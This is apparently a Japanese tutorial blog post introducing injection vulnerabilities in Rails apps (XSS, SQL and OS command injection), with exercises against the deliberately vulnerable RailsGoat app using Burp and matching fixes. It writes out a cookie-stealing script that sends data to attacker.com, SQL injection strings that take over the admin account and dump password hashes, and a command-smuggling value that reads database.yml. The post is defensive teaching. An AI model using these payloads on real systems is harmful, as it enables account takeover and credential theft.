Rails開発者が知るべきセキュリティ脅威:インジェクション攻撃の仕組みと対策を徹底解説
ユーザーデータを扱うアプリケーションを開発するなら、そのデータを確実に保護しなければなりません。しかし、セキュリティが初めての方にとっては、難しく、退屈で、複雑に感じられるかもしれません。
本記事は、Webアプリケーションにおける代表的なセキュリティ脆弱性と、それらがRails開発に与える影響を学ぶシリーズの第1回目です。道案内として活用するのは、OWASP Top 10(Web Application Security Risks)です。
OWASPとはOpen Web Application Security Project(オープンWebアプリケーションセキュリティプロジェクト)の略で、Web上の重大なセキュリティ問題について世界に啓発活動を行う専門家集団です。彼らが発表しているTop 10リストには、Webアプリケーションで最もよく見られる脆弱性が列挙されています。
- インジェクション
- 認証の不備
- 機密データの露出
- XML外部エンティティ(XXE)
- アクセス制御の不備
- セキュリティの設定ミス
- クロスサイトスクリプティング(XSS)
- 安全でないデシリアライゼーション
- 既知の脆弱性を持つコンポーネントの使用
- ログとモニタリングの不足
このリストは定期的に更新されていますが、思ったほど変化しません。新しい技術は古い問題を受け継ぐものだからです。本記事では、特にインジェクションに関連する以下の3つのトピックを取り上げます。
- JavaScriptインジェクション — アプリケーションがクライアントから悪意のあるデータを受け入れ、検証・サニタイズを行わずにブラウザへ送り返してしまうケース。
- SQLインジェクション — SQL文の断片をデータベースクエリの一部として安全でないSQLインタプリタへ送り込み、危険なコマンドを実行させたり機密情報へアクセスさせたりする攻撃。
- OSインジェクション — システムコマンドの入力を許している無防備なアプリケーションに対し、OSレベルのコマンド実行を狙う攻撃。
理論から実践まで、それぞれの脅威がどのように機能するのかを完全に解説していきます。それでは始めましょう!
インジェクションの脅威とは
アプリケーション内で何らかのデータソースを管理しているのであれば、そこには潜在的なインジェクション経路が存在すると考えるべきです。ハッカーはアプリを攻略するために、驚くような創造的で斬新な手法を次々と編み出しています。
それでは、インジェクション攻撃の世界を見ていきましょう。「自分のアプリはサニタイズされていて安全だ」と思っているなら、一度立ち止まって考え直してみてください。
JavaScriptインジェクション(XSS)
JavaScriptインジェクションは、一般にクロスサイトスクリプティング(XSS)として知られており、クライアントが信頼するバックエンドアプリケーションを騙して、悪意あるデータやスクリプトをブラウザへ送り込ませる攻撃です。
この攻撃が成立すると、攻撃者はユーザーのブラウザ上でスクリプトを実行でき、セッションの盗難、アプリケーションになりすました機密情報の要求、危険なサイトへのリダイレクトなどが可能になります。
おなじみのブログコメント欄を例に見てみましょう。あなたのアプリケーションが完全に無防備で、新規コメントのPOSTリクエストを受け取り、その値が一切のサニタイズなしにデータベースへ直接保存されるとします。
POST https://myblog.com/comments
data: <script>window.location='https://attacker.com?cookie='+document.cookie</script>
Webサイトがコメント欄を再読み込みすると、新しいコメントが取得され、そのスクリプトがブラウザ上で実行されます。
アプリケーションのページ内で実行されるスクリプトは完全に信頼されたものであるため、ユーザーのCookie情報を取得し、攻撃者のサイトへ直接送信できてしまうのです。
SQLインジェクション
SQLインジェクションは、SQLデータベースを扱うアプリケーションにおいて、ユーザー入力がクエリに連結(または補間)される際に入力のサニタイズが適切に行われないことで発生します。
Railsの世界で注意すべきSQLインジェクションの主な脅威は2つあります。連結によるインジェクションと補間によるインジェクションです。それぞれの違いを見ていきましょう。
SQL連結によるインジェクションは最も有名な手法です。攻撃者がHTTPクエリパラメータやリクエストボディの一部として危険なSQL断片を送り込むことで発生します。アプリケーションの各層がこの種のコンテンツを検出して無害化できない場合、ほとんどのデータベースで通用する手口です。
例えば、ユーザー名を指定して機密情報を取得するクエリを想像してください。
User.where("name = '#{userName}'")
userNameが未サニタイズのユーザー入力である場合、攻撃者はパラメータの値を次のように書き換えられます。
' OR '1'='1' --
その結果、クエリは次のように変形されます。
SELECT * FROM users WHERE username = '' OR '1'='1';
追加された条件は常にtrueと評価されるため、このクエリは必ず実行され、ユーザーの機密データが大量に露出することになります。
SQL補間によるインジェクションも同様に危険です。どのように起こるのでしょうか?Rails ActiveRecordのスコープ機能を覚えていますか?これは、頻繁に使うクエリ(where、joins、includesなど)をメソッド呼び出しとしてモデルや関連オブジェクトから参照できるようにする機能です。以下の例を見てください。
class User < ApplicationRecord
scope :filtered_name, -> { where(name: interpolated_string) }
end
結果はお察しの通りです。where句の中で未サニタイズの入力値を連結できる状態になっていると、前述の例とほぼ同じSQLインジェクションが発生します。
OSインジェクション
OSインジェクションは、アプリケーションがシステムレベルのコマンド入力を許可し、かつフィルタリングを行っていない場合に発生します。
攻撃者はアプリケーションが動作しているOSへの自由なトンネルを手にすることになるため、被害は非常に深刻になりえます。OSの基本的なセキュリティ設定によっては、同じ環境で稼働している他のアプリケーションのデータやファイルまで暴露される可能性もあります。
Railsのコードベースで以下のようなコード行を見かけたら、OSインジェクションの危険があると警戒してください。
%x[...]
system()
exec()
`my command` // バッククォート
次のようなRailsの実装を考えてみます。
new_path = "/root/public/images/#{some_path}"
system("ls #{new_path}")
some_pathがクライアントから送られてくる値である場合、攻撃者は次のような値を送り込めます。
some_path = 'some/path; cat ./config/database.yml'
お分かりですね?データベースの全データが、認証情報を含めて(クラウド設定サービスに安全に保存されていない限り)攻撃者に暴露されてしまいます。
RailsGoatプロジェクト
脆弱なサンプルを一から大量に作成する手間を省くために、幸いにも便利なプロジェクトがあります。それがRailsGoatです。これは公式OWASP GitHubリポジトリが提供する多数のオープンソースプロジェクト(754プロジェクト)の一つで、Rails向けに作られたものであり、Top 10脆弱性の大半が教育目的で意図的に組み込まれています。
本シリーズでは、このプロジェクトのサンプルを活用して、リスクをより深く、しかも実際に動く形で探求していきます。
セットアップ
先に進む前に、このプロジェクトにはRuby、Git、MySQL、Postgresという依存関係が必要です。作業前にすべてインストール済みであることを確認してください。
まず、プロジェクトをローカルにクローンします。
git clone https://github.com/OWASP/railsgoat.git
デフォルトではRuby 2.6.5を対象としているため、まだインストールしていない場合は適切なバージョンを導入してください。
rvm install "ruby-2.6.5"
次に、アプリのルートフォルダで以下のコマンドを実行します。
bundle install
rails db:setup
rails s
これらのコマンドは、それぞれ依存gemのダウンロードとインストール、データベースのセットアップ、Railsサーバーの起動を行います。
いくつかの調整
OSによっては、RailsGoatがやや古い(最新リリースは2018年3月)ため、installコマンドでエラーが発生することがあります。例えばMacユーザーがコンソールでlibv8に関するエラーに直面した場合は、必要なgemをインストールしましょう。
gem install libv8 -v '3.16.14.19' -- --with-system-v8
また、このバージョンのRubyのlibv8に関わるバグのため、therubyracer gemでもエラーが出る可能性があります。その場合は以下のコマンドを実行してください。
brew install v8-315
gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/v8@3.15
デフォルト設定ではSQLiteが標準データベースとして使われますが、以降の例では実際のデータベースが必要です。ここではMySQLを使用します。
まずconfig/database.ymlファイルを開き、mysqlノードを探して、自分のMySQL認証情報に合わせて設定を変更してください。データベース名はそのままで構いません。
Railsサーバーを停止し、MySQLが起動していることを確認した上で、以下のコマンドを実行します。
# MySQLデータベースを作成
RAILS_ENV=mysql rails db:create
# マイグレーションを実行
RAILS_ENV=mysql rails db:migrate
# 初期データを投入
RAILS_ENV=mysql rails db:seed
# MySQLを使ってRailsを起動
RAILS_ENV=mysql rails s
あるいは、Docker経由でRailsGoatを起動することもできます。お好みで選んでください!
これで準備完了です。ブラウザを開いてRailsGoatアプリにログインしてみましょう。自動生成された認証情報は、上部バーの「Tutorial Credentials」ボタンから確認できます。どれかを選びますが、管理者ユーザー以外を選ぶようにしてください。
HTTPプロキシのセットアップ
ハッカーは主にHTTPリクエストとレスポンスを盗み見ながら攻撃を仕掛けます。彼らはブラウザとサーバーの間で動作し、リクエストとレスポンスを傍受・表示・改ざんできるHTTPプロキシツールを活用します。
本シリーズでも同様のツールが必要であり、その最適解がBurpです。エンタープライズ向けの有料ツールですが、無料のコミュニティ版でも今回の目的には十分すぎるほどです。公式の手順に従ってダウンロードとインストールを済ませましょう。
BurpはJava製なので、Javaもインストールしておく必要がある点にご注意ください。
正しく動作するよう手順に従ったら、ツールを開いてProxy > Interceptタブへ移動し、「Intercept is on」ボタンを切り替えてから「Open Browser」をクリックします。これによりBurpに直接接続されたChromiumが開き、リクエスト/レスポンスを監視できるようになります。
試しに何か入力して、Burpがどう追跡するか確認してみてください。
実践で見る脅威
それでは、これまで説明した各脅威が実際のシナリオでどう発生するのかを見ていきましょう。まずはJavaScriptインジェクションからです。
JavaScriptインジェクションの実演
RailsGoatアプリのviews/layouts/sharedフォルダにある_header.html.erbファイルを開くと、次のようなHTMLスニペットが見つかります。
<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li>
実はこのRailsメソッドは文字列を「安全」として扱うよう指示するものですが、決して安全ではありません。文字列が信頼できるものとして扱うべきかを判定するだけで、ユーザー入力のサニタイズは行わないのです。
Burpが起動していないことを確認した上で、登録ページに移動し、「First Name」フィールドに以下を入力してください。
<script>alert("hello, XSS!")</script>
登録を完了させて新規ユーザーでログインすると、ナビゲーションバーに"Welcome " + スクリプトコードが表示されるはずです。
対策方法
これはよくある誤解です。開発者はこのメソッドをつい使ってしまいますが、データの保護にはなりません。HTMLを明示的にレンダリングしたい場合は、必ずsanitizeを使うべきです。
この例では、単純に.html_safeを削除するだけで攻撃は排除できます。
もう一つの良い対策は、SonarQubeのようなツールをプロジェクトに組み込むことです。こうしたツールは上記のような一般的な脅威を検出し、危険性と修正方法を開発者に警告してくれます。
開発者の記憶力だけに頼るのは得策ではありません。
SQLインジェクション:連結の実例
RailsGoatのSQLインジェクション例は、app/controllersフォルダ内のusers_controller.rbにあります。ファイルを開いて内容を確認してみてください。
データベース内のユーザーデータを作成・更新する主要な2つのメソッドがあるはずです。updateメソッドの異常に気づけますか?ぜひ自分で探してみてください。
該当箇所はこちらです。
user = User.where("id = '#{params[:user][:id]}'")[0]
where句で文字列を連結してはいけないことはご存知の通りです。ただ、修正する前にハッキングの可能性を試してみましょう。
BurpのChromiumブラウザで動作中のアプリに戻り、Account Settingsメニューへ移動します。
そこでBurpを開き、「Intercept is on」ボタンが有効になっていることを確認します。パスワード欄に適当な値を入力してSubmitをクリックしてください。
Burpがリクエストを傍受し、Paramsタブに以下のような内容が表示されます。
そう、すべてのリクエストパラメータがここで見えています。見えるだけではなく、編集も可能です。Burpは編集が完了するまでリクエストを保持し、その後サーバーへ転送します。
レスポンスに対しても同様の操作が可能です。
それでは、アプリケーションを騙してみましょう。目標は、現在ログイン中のユーザーではなく管理者ユーザーのパスワードを更新することです。
まず、管理者のメールアドレスや氏名を変更する意図はないため、ユーザーのemail、first_name、last_nameパラメータを削除します。
次に、user[id]パラメータの値を以下のように編集します。
0') OR admin = true -- '
何が起こっているのでしょうか?元の値は現在ログインしているユーザーのIDです。しかし、私たちが変更したいのはこのユーザーではなく管理者です。ゼロは誰にも該当しないため都合が良く、重要なのはORの後の条件です。
管理者のIDが分からないことを考慮すると(もし分かれば話は早いのですが)、adminロールカラムを通じてデータベースに管理者を選択させる必要があります。
編集が完了したらForwardボタンをクリックしてリクエストを転送すれば、管理者のパスワードが更新されます。
Railsが生成するSQLは次の通りです。
SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '')
これで、新しいパスワードを使って管理者アカウントにログインできてしまいます。
対策方法
解決策はいくつかあります。クライアントからのリクエスト内容にかかわらず、更新前に必ずデータベースからユーザーを取得する方法です。
ただし、これは開発者のコーディングスタイルに依存するため、常に保証されるわけではありません。
そこで頼りになるのがパラメータ化されたデータベースクエリです。見てみましょう。
user = User.where("id = ?", params[:user][:id])[0]
これだけのシンプルな変更で、ハッキングは不可能になります。
SQLインジェクション:補間の実例
RailsGoatでは、監査機能として各リクエストがデータベースに保存されます。この例では、analytics.rbクラスを分析してみましょう。このクラスにはhits_by_ipというスコープが定義されており、データベースからリクエストデータを一覧表示する管理者向け機能です。
このモデルがスコープ内で文字列を補間している様子を見てください。
scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") }
しかしこのアプローチは危険です!なぜでしょうか?通常ユーザーとしてログインしていると一部のメニューは表示されませんが、それはエンドポイントが利用不可であることを意味しません。そこで、https://localhost:3000/admin/1/analytics にアクセスしてみてください。
localhost環境では127.0.0.1のIPのデータしか存在しませんが、本番環境では対象のクライアントIPを検索することになります。
「Search by IP」テキストボックスに127.0.0.1と入力してEnterキーを押します。Burpのインターセプトボタンをオンにしておくことを忘れずに。
Paramsタブが表示されたら、AddボタンをクリックしてURL型の新しいパラメータを追加し、次の名前を付けてください。
field[(select+group_concat(password)+from+users+where+admin=true)]
スコープが補間された文字列を受け入れるため、selectクエリに好きなだけ条件を追加できます。このクエリは具体的には次のように変換されます。
SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC;
つまり、データベースから管理者のハッシュ化されたパスワードを取得し、ビューに直接表示できてしまうのです。
対策方法
まず第一に、ユーザーが必要な範囲のデータにのみアクセスできるようにしてください。このようなエンドポイントがアクセス可能なまま放置されていてはいけません。
別の予防策として、受け付けるべき値をホワイトリスト化し、それ以外を拒否する方法もあります。同じモデルクラス内のparse_fieldメソッドを見てください。指定されたフィールドがホワイトリスト配列に含まれているかどうかを検証しています。
つまり、モデルのスコープを呼び出す前に、パラメータを反復処理して問題ないか確認すればよいのです。admin_controller.rbの18行目(スコープを呼び出している箇所)を次のように更新してみましょう。
fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",")
OSインジェクションの実演
RailsGoatでのOSインジェクションの例を見てみましょう。app/modelsフォルダのbenefits.rbモデルを開き、make_backupメソッドを確認してください。
このメソッドは、アプリの「Benefit Forms」セクションからアップロードされたファイルのバックアップコピーを作成します。一見問題なさそうに見えますが、このメソッドはsystemコマンドを使用しています。
silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }
一見正しく見えますが、もう一度よく見てください。ユーザー入力から別のシステムコマンドを追加しても、そのまま正常に実行されてしまうのです。例えば、ファイルの作成などが可能です。
待ってください、これはファイルアップロード機能ですよね?ファイルの入力をどうやって改ざんするのでしょうか?実際に見てみましょう。
RailsGoatアプリに戻り、「Benefit Forms」メニューをクリックして好きなファイルを選択し、Burpのインターセプトボタンをオンにします。その後、Start Uploadをクリックしてください。
リクエストが傍受されると、ヘッダーの内容が確認できます。
画像の中で、benefits[backup]とbenefits[upload]という2つのパラメータが強調表示されています。
脆弱性が存在するバックアップ作成フローを有効にするため、最初のパラメータの値をtrueに変更します。
次に、2番目のパラメータのfilenameプロパティを以下のように変更します。
filename="kid-2.png;+touch+abc.txt"
そして、インターセプトを解除してリクエストを転送します。これにより、実行の最後に新しいコマンドが追加され、abc.txtという名前の新規ファイルが作成されます。シンプルな例ですが、あなたのアプリのフローがどれほど脆弱になりうるか、そしてハッカーにとって絶好の遊び場になりうるかを示す良い例です。
OSインジェクションへの防御策
少し馬鹿げた話に聞こえるかもしれません。なぜ誰かがシステムコマンドでファイルをコピーするのでしょうか?しかし、レガシーアプリケーションの数を知れば驚くことでしょう。膨大なコードベースで構成されているものも多く、こうした脆弱性の検出作業が途方もないタスクになってしまうのです。
したがって、答えはシンプルです。RubyのFileUtilsのような公式の内部ライブラリを使用しましょう。
FileUtils.cp
"#{full_file_name}",
"#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"
まとめ
今回は、インジェクションというセキュリティ脅威の荒波を航海してきました。インジェクションを取り巻くすべての問題を網羅したわけではありませんが、OWASPが特定する最も有名な脆弱性については掘り下げることができました。
おまけとして、このテーマの知識を深めるのに役立つ重要なリンクを紹介します。まず当然ながら、OWASP Top Tenの記事です。事例やさまざまなシナリオを含む外部記事へのリンクが豊富に掲載されています。
次に、コミュニティメンバーによってキュレーションされたRails SQL Injectionのドキュメントです。実用的な例を通じて一般的なSQLインジェクションを扱っており、本記事の内容を踏まえた上で必読の資料といえます。
最後に、Rails公式のセキュリティガイドもあります。インジェクションを含むRailsアプリケーションのセキュリティ全般をカバーしていますので、ぜひ熟読してください。学習を継続し、次回の記事でお会いしましょう!
-
Windows 10の最新セキュリティ脅威と脆弱性まとめ(2019年版)
Windows 10は、これまでに登場したWindows OSの中で最も安全なバージョンです。自動アップデートが絶えず配信され(トラブルを伴うこともありますが)、高性能なPCセキュリティ機能が標準搭載されているため、通常利用において大きな心配は不要だと言えるでしょう。 しかし、だからといって油断してよいわけではありません。Windows 10に存在するセキュリティ上の脅威を常に把握しておくことが、被害を回避する最善の策です。本記事では、現在もユーザーに影響を与え続けている深刻なWindowsセキュリティ脆弱性をいくつか紹介します。 CVE-2017-11882:Microsoft Offic
-
Railsのセキュリティ脅威に立ち向かう:認証と機密データ露出への対策
本シリーズの第1回では、インジェクション攻撃について解説しました。 OWASP Top 10 Webアプリケーションセキュリティリスクをテーマにした本シリーズの第2回となる今回は、認証の不備と機密データの露出という脅威の世界を深く掘り下げていきます。 具体的には、ハッカーがどれほど簡単にあなたが書いたコードを欺き、ユーザーのデータを盗み出すことができるのか、以下のような攻撃手法を見ていきます。 ユーザー列挙(User Enumeration):ログインページを悪用し、候補となるユーザー名のリストを総当たりで試して、データベース内にそのユーザーが存在するかどうかを確認する攻撃。 弱いパスワード